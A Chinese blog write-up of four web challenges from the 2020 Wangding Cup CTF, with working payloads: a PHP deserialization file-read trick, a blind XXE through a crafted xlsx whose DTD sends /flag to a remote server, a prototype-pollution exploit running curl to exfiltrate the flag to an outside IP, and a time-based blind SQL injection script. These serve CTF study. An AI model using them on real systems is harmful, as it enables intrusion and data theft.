美文网首页网络安全
网鼎杯2020-青龙组-WEB-writeup

网鼎杯2020-青龙组-WEB-writeup

作者: byc_404 | 来源:发表于2020-05-11 07:47 被阅读0次

    网鼎青龙组成功挺进线下,当然要感谢队友们的给力发挥,大二两只队也能成功会师半决赛了.(就是对我这样的awd小白而言估计又是去当炮灰了)

    说下比赛感受吧。老实说web手比赛体验并不好。开赛到12点才出现第一道WEB题.而这之前唯一一个签到靶机题我开了一个小时都是坏的...
    然后是比赛氛围,老实说明眼人应该都看得出来了。中间py什么的就不多说了。java那题我眼睁睁看着5分钟内涨了几十解。至于其他几个二进制的题更不用提,做出来的人数就是铁证了。最后五分钟内,十几秒时间我们队掉了十多名然后又蹦回来了就很迷。
    然后动态靶机一队只能开一个,老实说很大程度上束缚了开题的节奏。

    比赛难度倒还能接受。按郁师傅说的,这次没ak web不太应该。当然其实是最后看着只剩10多分钟时名次稳了就做不动了.赛后复现最后一个题时也发现确实不改完没做出来的。总之这里把所有WEB题解都记录下吧。

    AreUserialize

    今日玄学题。首先是源码

    <?php
    
    include("flag.php");
    
    highlight_file(__FILE__);
    
    class FileHandler {
    
        protected $op;
        protected $filename;
        protected $content;
    
        function __construct() {
            $op = "1";
            $filename = "/tmp/tmpfile";
            $content = "Hello World!";
            $this->process();   
        }
    
        public function process() {
            if($this->op == "1") {
                $this->write();       
            } else if($this->op == "2") {
                $res = $this->read();
                $this->output($res);
            } else {
                $this->output("Bad Hacker!");
            }
        }
    
        private function write() {
            if(isset($this->filename) && isset($this->content)) {
                if(strlen((string)$this->content) > 100) {
                    $this->output("Too long!");
                    die();
                }
                $res = file_put_contents($this->filename, $this->content);
                if($res) $this->output("Successful!");
                else $this->output("Failed!");
            } else {
                $this->output("Failed!");
            }
        }
    
        private function read() {
            $res = "";
            if(isset($this->filename)) {
                $res = file_get_contents($this->filename);
            }
            return $res;
        }
    
        private function output($s) {
            echo "[Result]: <br>";
            echo $s;
        }
    
        function __destruct() {
            if($this->op === "2")
                $this->op = "1";
            $this->content = "";
            $this->process();
        }
    
    }
    
    function is_valid($s) {
        for($i = 0; $i < strlen($s); $i++)
            if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
                return false;
        return true;
    }
    
    if(isset($_GET{'str'})) {
    
        $str = (string)$_GET['str'];
        if(is_valid($str)) {
            $obj = unserialize($str);
        }
    
    }
    

    功能上有一个任意写跟任意读。只需要过一个valid函数检查就能反序列化。op的值决定了读/写功能。

    首先析构函数明显是入手点。但是他限制了当op为"2"时令op为"1"也就是写功能。然后又置内容为空。
    跟进到process()函数看下,会明显的发现它采用了$this->op == "2"这样的弱类型相等判断。
    那么漏洞很明显了,我们可以利用弱类型比较绕过析构函数的限制,达成任意文件读取。

    不过注意的是,原题的Filehandler类属性都是protected,表现出来的结果就是序列化数据有空字符。而这是过不了is_valid()的检查的

    但是不要紧。php7.2+版本下反序列化并不在乎你传入的数据属性是否是protected。所以我们改成public即可。

    <?php
    class FileHandler {
    
        public $op = 2;
        public $filename = "file:///web/html/flag.php";
    
    }
    
    $o = new FileHandler();
    echo urlencode(serialize($o));
    

    2=="2","2e0"=="2"这种技巧不用多说了。这里要解释的是比较坑的后面的filename。开始直接伪协议读flag.php读不到。这个从源码角度讲完全没道理。
    然后只能尝试用绝对路径读了。基于我们其他文件都能轻松读到,我们先构造个404看看这是什么服务器。
    发现是 Alpine的镜像。
    于是查了波其web路径的配置/web/config/httpd.conf

    然后得到web路径后换绝对路径就读到了,玄学问题。


    ps:
    赛后突然想起来原来在做D^3时踩过的一个坑。就是apache的析构函数执行时工作目录可能会变。所以用相对路径读时是获取不到flag.php的.当然这是概率问题、有的人就能直接读到。

    filejava

    这题能出200解我是真没想到的,主要中间那波垂直上分太突兀了。但仔细想我也是那个时间交的flag...

    当然题目肯定是简单题。首先进去有一个我开始忽略的信息就是它在upload界面提示flag在/flag、然后随便上传个文件,马上就测出是个任意文件下载

    那老套路先从/WEB-INF/web.xml开始

    <?xml version="1.0" encoding="UTF-8"?>
    <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" id="WebApp_ID" version="2.5">
      <display-name>file_in_java</display-name>
      <welcome-file-list>
        <welcome-file>upload.jsp</welcome-file>
      </welcome-file-list>
      <servlet>
        <description></description>
        <display-name>UploadServlet</display-name>
        <servlet-name>UploadServlet</servlet-name>
        <servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
      </servlet>
      <servlet-mapping>
        <servlet-name>UploadServlet</servlet-name>
        <url-pattern>/UploadServlet</url-pattern>
      </servlet-mapping>
      <servlet>
        <description></description>
        <display-name>ListFileServlet</display-name>
        <servlet-name>ListFileServlet</servlet-name>
        <servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
      </servlet>
      <servlet-mapping>
        <servlet-name>ListFileServlet</servlet-name>
        <url-pattern>/ListFileServlet</url-pattern>
      </servlet-mapping>
      <servlet>
        <description></description>
        <display-name>DownloadServlet</display-name>
        <servlet-name>DownloadServlet</servlet-name>
        <servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
      </servlet>
      <servlet-mapping>
        <servlet-name>DownloadServlet</servlet-name>
        <url-pattern>/DownloadServlet</url-pattern>
      </servlet-mapping>
    </web-app>
    

    三个Servlet,路径也都给出来了,一个个读然后反编译吧。

    这里直接给出含有关键代码的java
    UploadServlet.java

    // Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
    // Jad home page: http://www.geocities.com/kpdus/jad.html
    // Decompiler options: packimports(3) 
    // Source File Name:   UploadServlet.java
    
    package cn.abc.servlet;
    
    import java.io.*;
    import java.util.*;
    import javax.servlet.*;
    import javax.servlet.http.*;
    import org.apache.commons.fileupload.FileItem;
    import org.apache.commons.fileupload.FileUploadException;
    import org.apache.commons.fileupload.disk.DiskFileItemFactory;
    import org.apache.commons.fileupload.servlet.ServletFileUpload;
    import org.apache.poi.openxml4j.exceptions.InvalidFormatException;
    import org.apache.poi.ss.usermodel.*;
    
    public class UploadServlet extends HttpServlet
    {
    
        public UploadServlet()
        {
        }
    
        protected void doGet(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException
        {
            doPost(request, response);
        }
    
        protected void doPost(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException
        {
            String savePath;
            File tempFile;
            String message;
            savePath = getServletContext().getRealPath("/WEB-INF/upload");
            String tempPath = getServletContext().getRealPath("/WEB-INF/temp");
            tempFile = new File(tempPath);
            if(!tempFile.exists())
                tempFile.mkdir();
            message = "";
            ServletFileUpload upload;
            DiskFileItemFactory factory = new DiskFileItemFactory();
            factory.setSizeThreshold(0x19000);
            factory.setRepository(tempFile);
            upload = new ServletFileUpload(factory);
            upload.setProgressListener(new  Object()     /* anonymous class not found */
        class _anm1 {}
    );
            upload.setHeaderEncoding("UTF-8");
            upload.setFileSizeMax(0x100000L);
            upload.setSizeMax(0xa00000L);
            if(!ServletFileUpload.isMultipartContent(request))
                return;
            try
            {
                List list = upload.parseRequest(request);
                Iterator iterator = list.iterator();
                do
                {
                    if(!iterator.hasNext())
                        break;
                    FileItem fileItem = (FileItem)iterator.next();
                    if(fileItem.isFormField())
                    {
                        String name = fileItem.getFieldName();
                        String s = fileItem.getString("UTF-8");
                    } else
                    {
                        String filename = fileItem.getName();
                        if(filename != null && !filename.trim().equals(""))
                        {
                            String fileExtName = filename.substring(filename.lastIndexOf(".") + 1);
                            InputStream in = fileItem.getInputStream();
                            if(filename.startsWith("excel-") && "xlsx".equals(fileExtName))
                                try
                                {
                                    Workbook wb1 = WorkbookFactory.create(in);
                                    Sheet sheet = wb1.getSheetAt(0);
                                    System.out.println(sheet.getFirstRowNum());
                                }
                                catch(InvalidFormatException e)
                                {
                                    System.err.println("poi-ooxml-3.10 has something wrong");
                                    e.printStackTrace();
                                }
                            String saveFilename = makeFileName(filename);
                            request.setAttribute("saveFilename", saveFilename);
                            request.setAttribute("filename", filename);
                            String realSavePath = makePath(saveFilename, savePath);
                            FileOutputStream out = new FileOutputStream((new StringBuilder()).append(realSavePath).append("/").append(saveFilename).toString());
                            byte buffer[] = new byte[1024];
                            for(int len = 0; (len = in.read(buffer)) > 0;)
                                out.write(buffer, 0, len);
    
                            in.close();
                            out.close();
                            message = "\u6587\u4EF6\u4E0A\u4F20\u6210\u529F!";
                        }
                    }
                } while(true);
            }
            catch(FileUploadException e)
            {
                e.printStackTrace();
            }
            request.setAttribute("message", message);
            request.getRequestDispatcher("/ListFileServlet").forward(request, response);
            return;
        }
    
        private String makeFileName(String filename)
        {
            return (new StringBuilder()).append(UUID.randomUUID().toString()).append("_").append(filename).toString();
        }
    
        private String makePath(String filename, String savePath)
        {
            int hashCode = filename.hashCode();
            int dir1 = hashCode & 0xf;
            int dir2 = (hashCode & 0xf0) >> 4;
            String dir = (new StringBuilder()).append(savePath).append("/").append(dir1).append("/").append(dir2).toString();
            File file = new File(dir);
            if(!file.exists())
                file.mkdirs();
            return dir;
        }
    
        private static final long serialVersionUID = 1L;
    }
    

    实话说,第一步读完后看了眼所有的源码。没看出什么端倪。(其实是看漏了)
    第一想法是幽灵猫。但是问了下队友说8009端口不是开的就作罢。
    然后想利用刚刚的任意文件下载读flag.却发现被定位到404了。仔细看源码会发现
    DownloadServlet.java

     if(fileName != null && fileName.toLowerCase().contains("flag"))
            {
                request.setAttribute("message", "\u7981\u6B62\u8BFB\u53D6");
                request.getRequestDispatcher("/message.jsp").forward(request, response);
                return;
            }
    

    果然过滤了关键字。需要其他方法读flag.

    此时回过头发现uploadservlet有一段突兀的源码

    if(filename.startsWith("excel-") && "xlsx".equals(fileExtName))
        try
        {
            Workbook wb1 = WorkbookFactory.create(in);
            Sheet sheet = wb1.getSheetAt(0);
            System.out.println(sheet.getFirstRowNum());
        }
        catch(InvalidFormatException e)
        {
            System.err.println("poi-ooxml-3.10 has something wrong");
            e.printStackTrace();
        }
    

    我第一想法是想到之前曾经看过但没做过的swpuctf web5.那道题是我第一次见过能用xlsx打xxe的类型。而它用到的就是一个很老的cve,CVE-2014-3529.

    而这部分代码逻辑表示,如果我们的文件名是excel-开始加上.xlsx结尾,就会用poi解析xlsx。而这个CVE的poi版本恰好是poi-ooxml-3.10

    那就不用说了,先试着按流程构造下payload。
    注意,这里构造payload时最好在zip中打开我们需要修改的[Content-Types].xml。否则可能会出错。这是我听同学说才知道有这种玄学问题。我个人是先将xlsx改为zip,然后winrar直接打开修改xml的poc。最后再改回来。这样应该就没啥问题了。

    发现vps能收到请求。那就直接xxe盲打一把梭了。
    poc

    <!DOCTYPE try[
    <!ENTITY % int SYSTEM "http://xxxxxx/1.xml">
    %int;
    %all;
    %send;
    ]>
    

    vps上的1.xml

    <!ENTITY % payl SYSTEM "file:///flag">
    <!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://xxxxxxxx/?%payl;'>">
    

    监听80端口收到flag


    notes

    源码

    var express = require('express');
    var path = require('path');
    const undefsafe = require('undefsafe');
    const { exec } = require('child_process');
    
    
    var app = express();
    class Notes {
        constructor() {
            this.owner = "whoknows";
            this.num = 0;
            this.note_list = {};
        }
    
        write_note(author, raw_note) {
            this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
        }
    
        get_note(id) {
            var r = {}
            undefsafe(r, id, undefsafe(this.note_list, id));
            return r;
        }
    
        edit_note(id, author, raw) {
            undefsafe(this.note_list, id + '.author', author);
            undefsafe(this.note_list, id + '.raw_note', raw);
        }
    
        get_all_notes() {
            return this.note_list;
        }
    
        remove_note(id) {
            delete this.note_list[id];
        }
    }
    
    var notes = new Notes();
    notes.write_note("nobody", "this is nobody's first note");
    
    
    app.set('views', path.join(__dirname, 'views'));
    app.set('view engine', 'pug');
    
    app.use(express.json());
    app.use(express.urlencoded({ extended: false }));
    app.use(express.static(path.join(__dirname, 'public')));
    
    
    app.get('/', function(req, res, next) {
      res.render('index', { title: 'Notebook' });
    });
    
    app.route('/add_note')
        .get(function(req, res) {
            res.render('mess', {message: 'please use POST to add a note'});
        })
        .post(function(req, res) {
            let author = req.body.author;
            let raw = req.body.raw;
            if (author && raw) {
                notes.write_note(author, raw);
                res.render('mess', {message: "add note sucess"});
            } else {
                res.render('mess', {message: "did not add note"});
            }
        })
    
    app.route('/edit_note')
        .get(function(req, res) {
            res.render('mess', {message: "please use POST to edit a note"});
        })
        .post(function(req, res) {
            let id = req.body.id;
            let author = req.body.author;
            let enote = req.body.raw;
            if (id && author && enote) {
                notes.edit_note(id, author, enote);
                res.render('mess', {message: "edit note sucess"});
            } else {
                res.render('mess', {message: "edit note failed"});
            }
        })
    
    app.route('/delete_note')
        .get(function(req, res) {
            res.render('mess', {message: "please use POST to delete a note"});
        })
        .post(function(req, res) {
            let id = req.body.id;
            if (id) {
                notes.remove_note(id);
                res.render('mess', {message: "delete done"});
            } else {
                res.render('mess', {message: "delete failed"});
            }
        })
    
    app.route('/notes')
        .get(function(req, res) {
            let q = req.query.q;
            let a_note;
            if (typeof(q) === "undefined") {
                a_note = notes.get_all_notes();
            } else {
                a_note = notes.get_note(q);
            }
            res.render('note', {list: a_note});
        })
    
    app.route('/status')
        .get(function(req, res) {
            let commands = {
                "script-1": "uptime",
                "script-2": "free -m"
            };
            for (let index in commands) {
                exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                    if (err) {
                        return;
                    }
                    console.log(`stdout: ${stdout}`);
                });
            }
            res.send('OK');
            res.end();
        })
    
    
    app.use(function(req, res, next) {
      res.status(404).send('Sorry cant find that!');
    });
    
    
    app.use(function(err, req, res, next) {
      console.error(err.stack);
      res.status(500).send('Something broke!');
    });
    
    
    const port = 8080;
    app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))
    

    老实说一开始审完源码没啥收获。大概的思路是,题目已经有了一个命令执行。那么我要是能修改它固定死的命令内容就能任意打了。但是这种达成肯定是要原型链污染的。我没看到merge()之类的函数就没继续想了

    然后之后发现这题居然有原题参考的...
    https://github.com/balsn/ctf_writeup/blob/master/20181124-asisctffinal/README.md#secure-api
    仔细看了下发现好像几乎一样啊。只有一个undefsafe依赖的区别.
    然后就发现这个依赖果然存在原型链污染的问题

    Prototype Pollution

    var a = require("undefsafe");
    var payload = "__proto__.toString";
    a({},payload,"JHU");
    console.log({}.toString);
    

    参照这个例子,我们很快就能找到原型链的污染点在edit_note这。

     edit_note(id, author, raw) {
            undefsafe(this.note_list, id + '.author', author);
            undefsafe(this.note_list, id + '.raw_note', raw);
        }
    

    然后按wp的payload改就行了

    import requests
    
    s = requests.session()
    data={'raw':'curl 120.27.246.202/?`cat /flag`','id':'__proto__','author':'byc_404'}
    url='http://bed4f32827b843ca9ad5b763749970dd265f40236d544ada.cloudgame1.ichunqiu.com:8080/'
    r=s.post(url+'edit_note',json=data)
    print(r.text)
    r=s.get(url+"status")
    print(r.text)
    

    这里id污染了后用raw或者author两个属性都能命令执行。当然因为回显的原因我们选择curl外带数据

    trace

    这题没做出来确实不太应该。赛后按郁师傅的思路果然一下就出了。不过也证明sql里的技巧确实不少啊。

    首先当然是sql类型.题目只有一个register_do.php,而没有login的功能。
    测了一会后突然发现,回显变成了WTF???row>20而且你的payload怎么改回显都一致.
    那么此时可以大致推断下。我们的payload是被拼接进了insert into语句。因此数据库的返回结果才会增多到上限20。

    那么首先猜测结构,构造payload
    username=admin',if(1=1,sleep(5),1))#
    会发现虽然返回了504。但是的确可以延时.
    然而再按照这个思路构造盲注payload却发现我们并不能跑出什么结果。此时再访问register_do.php发现row又超出20了.

    所以关键就是,我们要想办法不增加结果,同时还能延时。

    这里就得膜一波郁师傅了。10分钟不到就能出结果...
    payload:

    1'^if(ascii(substr((select `2` from (select 1,2 union select * from flag)a limit 1,1),1,1))=102,pow(9999,100) or sleep(3),pow(9999,100)),'1')#
    

    既然没有什么waf。我们就把主体部分带上if字句进行时间盲注的判断。但是此时我们让结果同时pow(9999,100)也就是报错一下。那么我们就不用担心语句数超过20的上限。

    然后发现表名不知道为什么跑不出来。但是可以直接尝试flag表然后无列名注入。

    select `2` from (select 1,2 union select * from flag)a limit 1,1
    

    exp

    import requests
    flag=""
    for i in range(1,50):
        print(i)
        a=0
        for j in "0123456789abcdefghijklmnopqrstuvwxyz{}-":
            url = 'http://1ff59e94406f4210a83ac8268a0037c3334b9006071c441b.changame.ichunqiu.com/register_do.php'
            payload = "1'^if(ascii(substr((select `2` from (select 1,2 union select * from flag)a limit 1,1),"+str(i)+",1))=" + str(ord(j)) + ",pow(99999,100) or sleep(3),pow(99999,100)),'1')#"
            data = {
                'username': payload,
                'password': '321'
            }
    
            r = requests.post(url, data=data)
            try:
                r = requests.post(url, data=data, timeout=3.0)
            except requests.exceptions.ReadTimeout:
                flag+=j
                print(flag)
                a=1
                break
        if a==0:
            break
    

    老实说最后十几分钟可能不够做出来的吧。但如果更早点敏锐的察觉到这种注入并找到手段就好了...但是这题收获还是不少的。毕竟自己好久没见到insert_into的盲注。手法也生疏了不少。sql注入的技巧学习还要继续加把劲啊。

    小结

    网鼎结束后这个月还有不少其他比赛。不过估计没多少时间花在CTF上了。这个月一方面希望把java,渗透等方面的知识再接触下。然后比赛打好。等下个月差不多就要专注在学业上了。

    相关文章

      网友评论

        本文标题:网鼎杯2020-青龙组-WEB-writeup

        本文链接:https://www.haomeiwen.com/subject/utisnhtx.html